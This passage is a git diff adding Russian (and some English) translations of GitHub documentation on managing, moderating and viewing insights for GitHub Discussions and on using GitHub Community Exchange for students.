reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} +1. На правой боковой панели щелкните {% octicon "pencil" aria-label="The pencil icon" %} **Изменить закрепленное обсуждение**. + {% ifversion discussions-category-specific-pins %} + + ![Снимок экрана: параметр "Изменить закрепленное обсуждение" на правой боковой панели для обсуждения](/assets/images/help/discussions/edit-pinned-discussion-with-category-pins.png) {% else %} + + + ![Снимок экрана: параметр "Изменить закрепленное обсуждение" на правой боковой панели для обсуждения](/assets/images/help/discussions/click-edit-pinned-discussion.png){% endif %} + +1. Настройте внешний вид закрепленного обсуждения. + + ![Снимок экрана: параметры настройки закрепленного обсуждения](/assets/images/help/discussions/customize-pinned-discussion.png) + +1. Нажмите кнопку **Закрепить обсуждение**. + + ![Снимок экрана: кнопка "Закрепить обсуждение" в разделе параметров настройки закрепленного обсуждения](/assets/images/help/discussions/click-pin-discussion-button.png) + +## Открепление обсуждения + +{% ifversion discussions-category-specific-pins %} + +Обсуждение можно открепить от списка обсуждений для репозитория или организации или из списка обсуждений в определенной категории. + +### Открепление глобально закрепленного обсуждения + +Вы можете открепить глобально закрепленное обсуждение. Это не приведет к удалению обсуждения, но оно больше не будет отображаться над списком обсуждений. +{% endif %} + +{% data reusables.discussions.navigate-to-repo-or-org %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} +1. На правой боковой панели щелкните {% octicon "pin" aria-label="The pin icon" %} **Открепить обсуждение**. + + ![Снимок экрана: параметр "Открепить обсуждение" на правой боковой панели для обсуждения](/assets/images/help/discussions/click-unpin-discussion.png) + +1. Прочтите предупреждение и нажмите кнопку **Открепить обсуждение**. + + ![Снимок экрана: кнопка "Открепить обсуждение" под предупреждением в модальном режиме](/assets/images/help/discussions/click-unpin-discussion-button.png) + +{% ifversion discussions-category-specific-pins %} +### Открепление обсуждения от категории + +Вы можете открепить обсуждение, закрепленное в определенной категории. Обсуждение не будет удалено, но оно больше не будет отображаться в верхней части категории. + +{% data reusables.discussions.navigate-to-repo-or-org %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} +1. На правой боковой панели щелкните {% octicon "pin" aria-label="The pin icon" %} **Открепить обсуждение от этой категории**. + + ![Снимок экрана: параметр "Открепить обсуждение от этой категории" на правой боковой панели для обсуждения](/assets/images/help/discussions/unpin-discussion-from-category.png) + +1. Прочтите предупреждение, а затем щелкните **Открепить от этой категории**. + + ![Снимок экрана: кнопка "Открепить от этой категории" в модальном модальном разделе "Открепить это обсуждение от этой категории"](/assets/images/help/discussions/unpin-discussion-from-category-modal.png) + +{% endif %} + +## Перенос обсуждения + +Для переноса обсуждения необходимо иметь разрешения на создание обсуждений в репозитории, в который требуется перенести обсуждение. Если вы хотите перенести обсуждение в организацию, необходимо иметь разрешения на создание обсуждений в исходном репозитории обсуждений организации. Обсуждения можно переносить только между репозиториями, принадлежащими одной учетной записи пользователя или организации. Вы не можете перенести обсуждение из закрытого репозитория{% ifversion ghec or ghes %} или внутреннего репозитория{% endif %} в общедоступный репозиторий. + +{% data reusables.discussions.navigate-to-repo-or-org %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} +1. На правой боковой панели щелкните {% octicon "arrow-right" aria-label="The right arrow icon" %} {% ifversion discussions-category-specific-pins %}**Transfer this discussion**{% else %}**Transfer discussion**{% endif %}. +{% ifversion discussions-category-specific-pins %} + + ![Снимок экрана: параметр "Перенести обсуждение" на правой боковой панели для обсуждения](/assets/images/help/discussions/transfer-discussion-with-category-pin.png) {% else %} + + + ![Снимок экрана: параметр "Перенести обсуждение" на правой боковой панели для обсуждения](/assets/images/help/discussions/click-transfer-discussion.png){% endif %} + +1. В раскрывающемся списке **Выберите репозиторий** выберите репозиторий, в который нужно перенести обсуждение. Если обсуждение нужно перенести в организацию, выберите исходный репозиторий обсуждений организации. + + ![Снимок экрана: раскрывающийся список "Выбор репозитория", поле поиска "Поиск репозитория" и репозиторий в списке](/assets/images/help/discussions/use-choose-a-repository-drop-down.png) + +1. Нажмите кнопку **Перенести обсуждение**. + + ![Снимок экрана: кнопка "Перенести обсуждение"](/assets/images/help/discussions/click-transfer-discussion-button.png) + +## Удаление обсуждения + +{% data reusables.discussions.navigate-to-repo-or-org %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} +1. На правой боковой панели щелкните {% octicon "trash" aria-label="The trash arrow icon" %} **Удалить обсуждение**. +{% ifversion discussions-category-specific-pins %} + + ![Снимок экрана: параметр "Удалить обсуждение" на правой боковой панели для обсуждения](/assets/images/help/discussions/delete-discussion-with-category-pins.png){% else %} + + + ![Снимок экрана: параметр "Удалить обсуждение" на правой боковой панели для обсуждения](/assets/images/help/discussions/click-delete-discussion.png){% endif %} + +1. Прочтите предупреждение, а затем нажмите кнопку **Удалить это обсуждение**. + + ![Снимок экрана: кнопка "Удалить это обсуждение" под предупреждением в модальном режиме](/assets/images/help/discussions/click-delete-this-discussion-button.png) + +## Преобразование проблем на основе меток + +Все проблемы с одной и той же меткой можно преобразовать в обсуждения за один раз. Будущие проблемы с этой меткой также будут автоматически преобразовываться в обсуждения настроенной категории. + +1. На {% data variables.location.product_location %} перейдите на главную страницу репозитория или( в обсуждениях организации) к исходному репозиторию. +{% data reusables.repositories.sidebar-issues %} {% data reusables.project-management.labels %} +1. Рядом с меткой, которую необходимо преобразовать в обсуждения, нажмите кнопку **Преобразовать проблемы**. +1. Выберите раскрывающееся меню **Выбор категории** и выберите категорию для обсуждения. +1. Щелкните **Я понимаю, преобразуйте эту проблему в обсуждение**. diff --git a/translations/ru-RU/content/discussions/managing-discussions-for-your-community/moderating-discussions.md b/translations/ru-RU/content/discussions/managing-discussions-for-your-community/moderating-discussions.md new file mode 100644 index 000000000000..9f154541c30b --- /dev/null +++ b/translations/ru-RU/content/discussions/managing-discussions-for-your-community/moderating-discussions.md @@ -0,0 +1,47 @@ +--- +title: Moderating discussions +intro: 'You can promote healthy collaboration by marking comments as answers, locking or unlocking discussions, converting issues to discussions, and editing or deleting comments, discussions, and categories that don''t align with your{% ifversion fpt or ghec %} community''s code of conduct{% elsif ghes > 3.5 %} organization''s contribution guidelines{% endif %}.' +permissions: People with triage access to a repository can moderate discussions in the repository. People with triage access to the source repository for organization discussions can moderate discussions in the organization. +versions: + feature: discussions +--- + + +## About moderating discussions + +{% data reusables.discussions.about-discussions %} If you have triage permissions for a repository, you can help moderate that repository's discussions by marking comments as answers, locking discussions that are no longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. Similarly, if you have triage permission for the source repository for organization discussions, you can moderate discussions for that organization. + +## Marking a comment as an answer + +{% data reusables.discussions.marking-a-comment-as-an-answer %} + +## Locking discussions + +It's appropriate to lock a conversation when the entire conversation is not constructive or violates your community's code of conduct or {% data variables.product.prodname_dotcom %}'s [Community Guidelines](/free-pro-team@latest/github/site-policy/github-community-guidelines). You can also lock a conversation to prevent comments on a discussion you want to use as an announcement to the community. When you lock a conversation, people with write access to the repository, or source repository for organization discussions, will still be able to comment on the discussion. + +{% data reusables.discussions.navigate-to-repo-or-org %} +{% data reusables.discussions.discussions-tab %} +1. In the list of discussions, click the discussion you want to lock. + ![Lock discussion](/assets/images/help/discussions/unanswered-discussion.png) +1. In the right margin of a discussion, click **Lock conversation**. +1. Read the information about locking conversations and click **Lock conversation on this discussion**. +1. When you're ready to unlock the conversation, click **Unlock conversation**, then click **Unlock conversation on this discussion**. + +## Converting an issue to a discussion + +When you convert an issue to a discussion, the discussion is automatically created using the content from the issue. People with write access to a repository, or source repository for organization discussions, can bulk convert issues based on labels. For more information, see "[Managing discussions](/discussions/managing-discussions-for-your-community/managing-discussions)." + +{% data reusables.discussions.navigate-to-repo-or-org %} +{% data reusables.repositories.sidebar-issues %} +1. In the list of issues, click the issue you'd like to convert. +1. In the right margin of an issue, click **Convert to discussion**. +1. Select the **Choose a category** drop-down menu, and click a category for your discussion. +1. Click **I understand, convert this issue to a discussion**. + +{% ifversion discussions-hide-comments-on-block %} +## Blocking a user from your organization + +Organization owners and moderators can block a user from the organization if their comments don't align with the community's code of conduct. When you block a user, they will no longer be able to comment on discussions. You can also hide all of the comments a user has made in the organization. For more information, see "[Blocking a user from your organization](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)." + +{% data reusables.organizations.blocking-a-user %} +{% endif %} diff --git a/translations/ru-RU/content/discussions/managing-discussions-for-your-community/viewing-insights-for-your-discussions.md b/translations/ru-RU/content/discussions/managing-discussions-for-your-community/viewing-insights-for-your-discussions.md new file mode 100644 index 000000000000..dc584d76c1b4 --- /dev/null +++ b/translations/ru-RU/content/discussions/managing-discussions-for-your-community/viewing-insights-for-your-discussions.md @@ -0,0 +1,40 @@ +--- +title: Просмотр аналитики обсуждений +intro: 'Аналитика обсуждений предоставляет данные о действиях, представлениях и участниках обсуждений.' +permissions: Repository administrators and people with maintain access to a repository can view the insights dashboard for discussions in that repository. Repository administrators and people with maintain access to the source repository for organization discussions can view the insights dashboard for discussions in that organization. +versions: + feature: discussions +topics: + - Discussions +shortTitle: View discussions insights +ms.openlocfilehash: 09fafe454f53a1b2a39887bbb085f753f978b6eb +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147410142' +--- +## Сведения о панели мониторинга аналитики обсуждений + +Вы можете использовать аналитику обсуждений, чтобы проанализировать активность вкладов, просмотры страниц и развитие сообщества обсуждений. +- В разделе **Действия вкладов** показывает количество общих вкладов в обсуждения, проблемы и запросы на вытягивание. +- В разделе **Представления страниц обсуждений** отображаются общие представления страниц для обсуждений, сегментированные по зрителям, выполнившим вход в систему, и анонимным зрителям. +- В разделе **Обсуждения участников за день** отображается количество уникальных пользователей в день, которые отреагировали, проголосовали, пометили ответ, оставили комментарий или сделали публикацию в выбранный период времени. +- В разделе **Обсуждения новых участников** отображается количество уникальных новых пользователей в день, которые отреагировали, проголосовали, пометили ответ, оставили комментарий или сделали публикацию в выбранный период времени. + +![Снимок экрана: панель мониторинга обсуждений](/assets/images/help/discussions/discussions-dashboard.png) + +{% tip %} + +**Совет.** Чтобы просмотреть точные данные за конкретный период времени, наведите указатель мыши на этот период времени на графике. + +{% endtip %} + +## Просмотр аналитических сведений об обсуждениях + +{% data reusables.repositories.navigate-to-repo %} Для обсуждений в организации перейдите на главную страницу исходного репозитория. +{% data reusables.repositories.accessing-repository-graphs %} +3. На левой боковой панели щелкните **Сообщество**. +![Снимок экрана: вкладка "Сообщество" на левой боковой панели](/assets/images/help/graphs/graphs-sidebar-community-tab.png) +1. При необходимости в правом верхнем углу страницы выберите раскрывающееся меню **Период** и выберите период времени, данные за который требуется просмотреть: **30 дней**, **3 месяца** или **1 год**. +![Снимок экрана: средство выбора диапазона дат для аналитики обсуждений](/assets/images/help/discussions/discussions-dashboard-date-selctor.png) diff --git a/translations/ru-RU/content/discussions/quickstart.md b/translations/ru-RU/content/discussions/quickstart.md new file mode 100644 index 000000000000..cba5686113b4 --- /dev/null +++ b/translations/ru-RU/content/discussions/quickstart.md @@ -0,0 +1,80 @@ +--- +title: Quickstart for GitHub Discussions +intro: 'Enable {% data variables.product.prodname_discussions %} on an existing repository or organization and start conversations with your community.' +allowTitleToDifferFromFilename: true +versions: + feature: discussions +shortTitle: Quickstart +--- + + +## Introduction + +{% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source or internal project. Discussions are for conversations that need to be transparent and accessible but do not need to be tracked on a project board and are not related to code, unlike {% data variables.product.prodname_github_issues %}. Discussions enable fluid, open conversation in a public forum. + +Discussions give a space for more collaborative conversations by connecting and giving a more centralized area to connect and find information. + +## Enabling {% data variables.product.prodname_discussions %} on your repository + +Repository owners and people with write access can enable {% data variables.product.prodname_discussions %} for a community on their public{% ifversion ghes > 3.5 %}, internal{% endif %} and private repositories. The visibility of a discussion is inherited from the repository the discussion is created in. + +When you first enable {% data variables.product.prodname_discussions %}, you will be invited to configure a welcome post. + +{% data reusables.repositories.navigate-to-repo %} +1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} +**Settings**. +![Public settings button](/assets/images/help/discussions/public-repo-settings.png) +1. Under "Features", click **Set up discussions**. + ![Set up a discussion button under "Features" for enabling or disabling GitHub Discussions for a repository](/assets/images/help/discussions/setup-discussions-button.png) +1. Under "Start a new discussion," edit the template to align with the resources and tone you want to set for your community. +1. Click **Start discussion**. + !["Start discussion" button](/assets/images/help/discussions/new-discussion-start-discussion-button.png) + +## Enabling {% data variables.product.prodname_discussions %} on your organization + +Organization owners can enable {% data variables.product.prodname_discussions %} for their organization. + +{% data reusables.discussions.about-organization-discussions %} + +{% data reusables.discussions.enabling-or-disabling-github-discussions-for-your-organization %} + +## Welcoming contributions to your discussions + +You can welcome your community and introduce a new way to communicate in a repository or organization by creating a welcome post and pinning the post to your {% data variables.product.prodname_discussions %} page. Pinning and locking discussions helps people know that a post is meant as an announcement. You can use announcements as a way to link people to more resources and offer guidance for opening discussions in your community. For more information about pinning a discussion, see "[Managing discussions](/discussions/managing-discussions-for-your-community/managing-discussions#pinning-a-discussion)." + + +## Setting up community guidelines for contributors + +For repository discussions, you can set contributing guidelines to encourage collaborators to have meaningful, useful conversations that are relevant to the repository. You can also update the repository's README to communicate expectations on when collaborators should open an issue or discussion. For more information about providing guidelines for your project, see{% ifversion fpt or ghec %} "[Adding a code of conduct to your project](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)" and{% endif %} "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)." + +For organization discussions, you share information about how to engage with your organization by creating an organization profile README. For more information, see "[Customizing your organization's profile](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile)." + +## Creating a new discussion + +Any authenticated user who can view the repository can create a discussion in that repository. Similarly, since organization discussions are based on a source repository, any authenticated user who can view the source repository can create a discussion in that organization. + +{% data reusables.discussions.starting-a-discussion %} + +## Creating a new poll + +Any authenticated user who can view a repository can create a poll. Similarly, since organization discussions are based on a source repository, any authenticated user who can view the source repository can create a poll in that organization. + +{% data reusables.discussions.starting-a-poll %} + +## Organizing discussions + +Repository owners and people with write access to the repository can create new categories to keep discussions organized. Similarly, since organization discussions are based on a source repository, repository owners and people with write access to the source repository can create new categories for organization discussions. + +Collaborators participating in and creating new discussions can group discussions into the most relevant existing categories. Discussions can also be recategorized after they are created. For more information, see "[Managing categories for discussions](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions)." + +{% data reusables.discussions.you-can-label-discussions %} + +## Promoting healthy conversations + +People with write permissions for the repository, or for the source repository for organization discussions, can help surface important conversations by pinning discussions, deleting discussions that are no longer useful or are damaging to the community, and transferring discussions to more relevant repositories owned by the organization. For more information, see "[Managing discussions](/discussions/managing-discussions-for-your-community/managing-discussions)." + +People with triage permissions for the repository, or for the source repository for organization discussions, can help moderate a project's discussions by marking comments as answers, locking discussions that are no longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." + +## Next steps + +Once there is a clear path to scope work out and move an idea from concept to reality, you can create an issue and start tracking your progress. For more information on creating an issue from a discussion, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." diff --git a/translations/ru-RU/content/education/contribute-with-github-community-exchange/getting-started-with-github-community-exchange.md b/translations/ru-RU/content/education/contribute-with-github-community-exchange/getting-started-with-github-community-exchange.md new file mode 100644 index 000000000000..447ad02eeba9 --- /dev/null +++ b/translations/ru-RU/content/education/contribute-with-github-community-exchange/getting-started-with-github-community-exchange.md @@ -0,0 +1,50 @@ +--- +title: Начало работы с GitHub Community Exchange +shortTitle: Get started +intro: 'Узнайте, как получить доступ к {% data variables.product.prodname_community_exchange %} и отправить репозиторий.' +versions: + fpt: '*' +ms.openlocfilehash: b9c866ef33c321b70b87d8bcd3682d0c02737bfe +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109504' +--- +## Введение + +{% data reusables.education.about-github-community-exchange-intro %} {% data variables.product.prodname_community_exchange %} поможет вам внести свой первый вклад в разработку продуктов с открытым кодом или эффективно работать над собственным проектом решения с открытым кодом. + +Дополнительные сведения о том, как {% data variables.product.prodname_community_exchange %} помогает учащимся, см. в разделе [Сведения о {% data variables.product.prodname_community_exchange %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-community-exchange). + +## Доступ к {% data variables.product.prodname_community_exchange %} + +{% data reusables.education.access-github-community-exchange %} + +## Поиск интересующих репозиториев + +Вы можете просматривать репозитории, отправленные в {% data variables.product.prodname_community_exchange %}, со страницы коллекции. + +Когда вы выбираете интересующие вас репозитории, следует учесть, планируете ли вы обучение или совместную работу, а также наличие конкретных тем и языков. + +При изучении репозиториев в коллекции {% data variables.product.prodname_community_exchange %} можно фильтровать доступные репозитории по их назначению, темам или языкам, а также выполнять поиск репозиториев по имени и описанию. Вы можете отсортировать список репозиториев в коллекции по дате отправки или по количеству звезд, вилок или проблем в репозитории. + +![Снимок экрана: поле поиска Community Exchange и раскрывающийся список фильтров](/assets/images/help/education/community-exchange-search-and-filter.png) + +## Присвоение звезд репозиториям + +Вы можете присваивать звезды репозиториям в коллекции {% data variables.product.prodname_community_exchange %}. Маркировка с помощью звезды позволяет позднее быстро найти необходимый репозиторий в коллекции. Когда вы отмечаете репозиторий звездой, вы также выражаете благодарность за работу владельцу репозитория. + +Списки репозиториев в коллекции {% data variables.product.prodname_community_exchange %} можно отсортировать по количеству звезд, которые присвоены репозиторию. + +Чтобы присвоить звезду репозиторию: перейдите на главную страницу {% data variables.product.prodname_community_exchange %}, найдите репозиторий, который нужно просмотреть, и нажмите кнопку {% octicon "star" aria-label="The star icon" %} **Добавить звезду** справа от его имени. + +## Сообщение о нарушении + +Сообщество {% data variables.product.prodname_community_exchange %} модерирует отправки репозитория. Вы можете в любое время сообщать об репозиториях с оскорбительным содержимым, спаме или содержимом, нарушающем правила. + +Чтобы сообщить о репозиториях с оскорбительным содержимым, перейдите на домашнюю страницу {% data variables.product.prodname_community_exchange %}, найдите репозиторий, о котором вы хотите сообщить, щелкните непосредственно на имени раскрывающегося списка {% octicon "kebab-horizontal" aria-label="The edit icon" %}, а затем щелкните {% octicon "report" aria-label="The report symbol" %} **Сообщить о нарушении**. + +## Дополнительные материалы + +- [Сведения о {% data variables.product.prodname_community_exchange %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange) diff --git a/translations/ru-RU/content/education/contribute-with-github-community-exchange/index.md b/translations/ru-RU/content/education/contribute-with-github-community-exchange/index.md new file mode 100644 index 000000000000..d3e305f62d32 --- /dev/null +++ b/translations/ru-RU/content/education/contribute-with-github-community-exchange/index.md @@ -0,0 +1,18 @@ +--- +title: Участие в работе с помощью GitHub Community Exchange +shortTitle: '{% data variables.product.prodname_community_exchange %}' +intro: 'С помощью {% data variables.product.prodname_community_exchange %}можно использовать {% data variables.product.product_name %} для участия в разработке продуктов с открытым кодом и создания портфеля.' +versions: + fpt: '*' +children: + - /getting-started-with-github-community-exchange + - /submitting-your-repository-to-github-community-exchange + - /managing-your-submissions-to-github-community-exchange +ms.openlocfilehash: fe002b4cff8bbecaac9ea4611ff69ab366df240f +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109503' +--- + diff --git a/translations/ru-RU/content/education/contribute-with-github-community-exchange/managing-your-submissions-to-github-community-exchange.md b/translations/ru-RU/content/education/contribute-with-github-community-exchange/managing-your-submissions-to-github-community-exchange.md new file mode 100644 index 000000000000..242840175dec --- /dev/null +++ b/translations/ru-RU/content/education/contribute-with-github-community-exchange/managing-your-submissions-to-github-community-exchange.md @@ -0,0 +1,29 @@ +--- +title: Управление отправками в GitHub Community Exchange +shortTitle: Manage your submissions +intro: 'Вы можете управлять назначением, разделами и предложениями, назначенными каждому репозиторию в коллекции {% data variables.product.prodname_community_exchange %} или удалить отправки репозитория.' +versions: + fpt: '*' +ms.openlocfilehash: a7da6f3bede47700658fe81a1f0ec3e4e33ef316 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109479' +--- +## Сведения об отправках + +В процессе отправки {% data variables.product.prodname_community_exchange %} вы будете выбирать назначение, разделы и предложения для своего репозитория. После отправки репозитория в {% data variables.product.prodname_community_exchange %}он будет опубликован с этими сведениями. Дополнительные сведения см. в разделе [Отправка репозитория в GitHub Community Exchange](/education/contribute-with-github-community-exchange/submitting-your-repository-to-github-community-exchange). + +После отправки вы по-прежнему сможете редактировать разделы и предложения, относящиеся к репозиторию. Вы также можете обновить назначение репозитория, изменив соответствующие темы. Дополнительные сведения см. в разделе [Классификация репозиториев по темам](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics). + +Язык, связанный с репозиторием, является основным языком и {% data variables.product.prodname_dotcom %} определит его автоматически. Дополнительные сведения см. в статье [Сведения о языках репозитория](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages). + +Сообщество {% data variables.product.prodname_community_exchange %} модерирует все отправки репозитория. + +## Управление отправками + +1. В {% data variables.product.prodname_global_campus %}, перейдите на главную страницу {% data variables.product.prodname_community_exchange %}. +1. Над списком репозиториев щелкните вкладку **Отправки**. ![Снимок экрана: вкладка "Отправки"](/assets/images/help/education/community-exchange-submissions-tab.png) +1. При необходимости измените отправленный репозиторий. Справа от репозитория, который требуется изменить, нажмите {% octicon "pencil" aria-label="The edit icon" %}, чтобы перейти на главную страницу репозитория. Там можно обновить назначение, разделы и предложения, назначенные репозиторию. +1. При необходимости удалите отправленный репозиторий из коллекции. Справа от отправки репозитория, которую вы хотите удалить, щелкните {% octicon "trash" aria-label="The trash icon" %}. diff --git a/translations/ru-RU/content/education/contribute-with-github-community-exchange/submitting-your-repository-to-github-community-exchange.md b/translations/ru-RU/content/education/contribute-with-github-community-exchange/submitting-your-repository-to-github-community-exchange.md new file mode 100644 index 000000000000..07697ab8e62a --- /dev/null +++ b/translations/ru-RU/content/education/contribute-with-github-community-exchange/submitting-your-repository-to-github-community-exchange.md @@ -0,0 +1,60 @@ +--- +title: Отправка репозитория в GitHub Community Exchange +shortTitle: Submit your repository +intro: 'Вы можете отправить репозиторий в {% data variables.product.prodname_community_exchange %} для просмотра или участия других пользователей.' +versions: + fpt: '*' +ms.openlocfilehash: 404a1a20f3474c4fa48d6fae9e7f6cc5ddf0e647 +ms.sourcegitcommit: 3268914369fb29540e4d88ee5e56bc7a41f2a60e +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/26/2022 +ms.locfileid: '148111275' +--- +## Сведения об отправке репозитория + +Только общедоступные репозитории, принадлежащие личным учетным записям, можно отправить в {% data variables.product.prodname_community_exchange %}. + +Доступно три типа отправки репозитория: + +- **Обучение.** Репозиторий для предоставления общего доступа к пошаговым инструкциям по созданию проекта. +- **Совместная работа.** Репозиторий, которому требуются участники совместной работы для работы над проектом. +- **Обучение и совместная работа.** Репозиторий, который представляет собой комбинацию `Learn` и `Collaborate`. + +Следует учитывать основное назначение репозитория при выборе типа отправки для репозитория. + +Чтобы повысить уровень проекта и его доступность для обнаружения другими учащимися, необходимо назначить один или несколько разделов? а также предложения {% data variables.product.prodname_student_pack %} своему репозиторию. Дополнительные сведения см. в разделе [Классификация репозиториев по темам](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics). + +После отправки репозитория в {% data variables.product.prodname_community_exchange %}он будет сразу же опубликован с выбранным назначением, темой и предложениями. Сообщество {% data variables.product.prodname_community_exchange %} модерирует все отправки репозитория. + +### Требования к отправке + +Чтобы отправка была принята, репозиторий должен соответствовать минимальному набору требований. Если условия отправки для выбранного репозитория не выполнены, вы получите уведомление об отсутствующих элементах. + +Для отправки с целью `Learn` репозиторий должен быть: +- Описание. +- Файл LEARN.md, в котором представлены пошаговые инструкции с текстом и (или) мультимедийными данными, демонстрирующими создание проекта. В идеале файл LEARN.md деконструирует проект на небольшие компоненты и предоставит подробные сведения о каждом этапе, чтобы другие учащиеся могли написать код своего проекта, следуя инструкциям. +- Файл README.md, в котором приведено подробное описание проекта. +- Лицензия, чтобы другие пользователи знали о том, что они могут и не могут делать с вашим исходным кодом. + +Для отправки с назначением `Collaborate` репозиторий должен содержать: +- Описание. +- Файл README.md, в котором приведено подробное описание проекта. +- Лицензия, чтобы другие пользователи знали о том, что они могут и не могут делать с вашим исходным кодом. +- Одну или несколько проблем, над которыми будут работать участники совместной работы. +- CONTRIBUTING.md файл, чтобы сообщить о том, как внести свой вклад в проект. + +Грамотная отправка репозитория с назначением `Learn` и `Collaborate` — это репозиторий, который соответствует стандартам сообщества. Дополнительные сведения см. в статье [Сведения о профилях сообщества для общедоступных репозиториев](/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories). + +## Отправка репозитория + +1. В {% data variables.product.prodname_global_campus %}, перейдите на главную страницу {% data variables.product.prodname_community_exchange %}. +1. Над списком репозиториев справа от фильтров поиска и раскрывающегося списка нажмите кнопку **Добавить репозиторий**. + ![Снимок экрана: кнопка "Добавить репозиторий"](/assets/images/help/education/community-exchange-submission-add-repo.png) +1. Используйте раскрывающееся меню **Назначение вашей отправки** и выберите одну или несколько записей, соответствующих вашей отправке. + ![Снимок экрана: раскрывающийся список назначения для отправки репозитория](/assets/images/help/education/community-exchange-repo-submission-purpose.png) +1. Используйте раскрывающееся меню **Репозиторий для использования** и выберите репозиторий для отправки. Если условия отправки не выполнены, вы получите уведомление о недостающих элементах. + ![Снимок экрана: раскрывающийся список репозитория для отправки репозитория](/assets/images/help/education/community-exchange-repo-submission-repo.png) +1. Используйте раскрывающееся меню **Предложения, использованные для проекта** и выберите одну или несколько записей, соответствующих вашей отправке. + ![Снимок экрана: раскрывающийся список предложений для отправки репозитория](/assets/images/help/education/community-exchange-repo-submission-offers.png) +1. Нажмите кнопку **Отправить проект**. diff --git a/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange.md b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange.md new file mode 100644 index 000000000000..abba46ac61cc --- /dev/null +++ b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange.md @@ -0,0 +1,37 @@ +--- +title: Сведения о GitHub Community Exchange +intro: 'Рассмотрите, какие навыки вам понадобятся для участия в проектах с открытым кодом и расширения портфолио, с помощью {% data variables.product.prodname_community_exchange %}.' +redirect_from: + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-community-exchange +versions: + fpt: '*' +shortTitle: About Community Exchange +ms.openlocfilehash: 609c1fe6457db460fa3f6a3bf00b7f467ab7aba0 +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '147574234' +--- +## Сведения {% data variables.product.prodname_community_exchange %} + +{% data reusables.education.about-github-community-exchange-intro %} + +![Снимок экрана: страница Community Exchange](/assets/images/help/education/community-exchange-page.png) + +Вы можете помочь другим учащимся совершенствовать навыки работы с открытым кодом, стать ответственным за обслуживание проекта и расширять свое порфтолио и сеть знакомств на {% data variables.product.prodname_dotcom %} на безопасной и проверенной платформе сообщества. + +С помощью {% data variables.product.prodname_community_exchange %} вы можете: +- Находить репозитории, созданные другими учащимися. +- Помечать интересные репозитории. +- Отправлять репозитории, для которых требуются участники совместной работы. +- Отправлять репозитории для обучения новым навыкам. +- Управлять отправками репозиториев. + +Дополнительные сведения см. в статье "[Участие в работе с помощью GitHub Community Exchange](/education/contribute-with-github-community-exchange)". + +{% data reusables.education.access-github-community-exchange %} + +## Дополнительные материалы + +- [Начало работы с {% data variables.product.prodname_community_exchange %}](/education/contribute-with-github-community-exchange/getting-started-with-github-community-exchange) diff --git a/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students.md b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students.md new file mode 100644 index 000000000000..f8b4ffdb7e2e --- /dev/null +++ b/translations/ru-RU/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students.md @@ -0,0 +1,55 @@ +--- +title: Сведения о GitHub Global Campus для учащихся +intro: '{% data variables.product.prodname_education %} предлагает учащимся реальный опыт с бесплатным доступом к различным средствам для разработчиков от партнеров {% data variables.product.prodname_dotcom %}.' +redirect_from: + - /education/teach-and-learn-with-github-education/about-github-education-for-students + - /github/teaching-and-learning-with-github-education/about-github-education-for-students + - /articles/about-github-education-for-students + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-education-for-students + - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-education-for-students +versions: + fpt: '*' +shortTitle: For students +ms.openlocfilehash: 198f0354e63721a4763e8fa32f832a19b2dac9d9 +ms.sourcegitcommit: 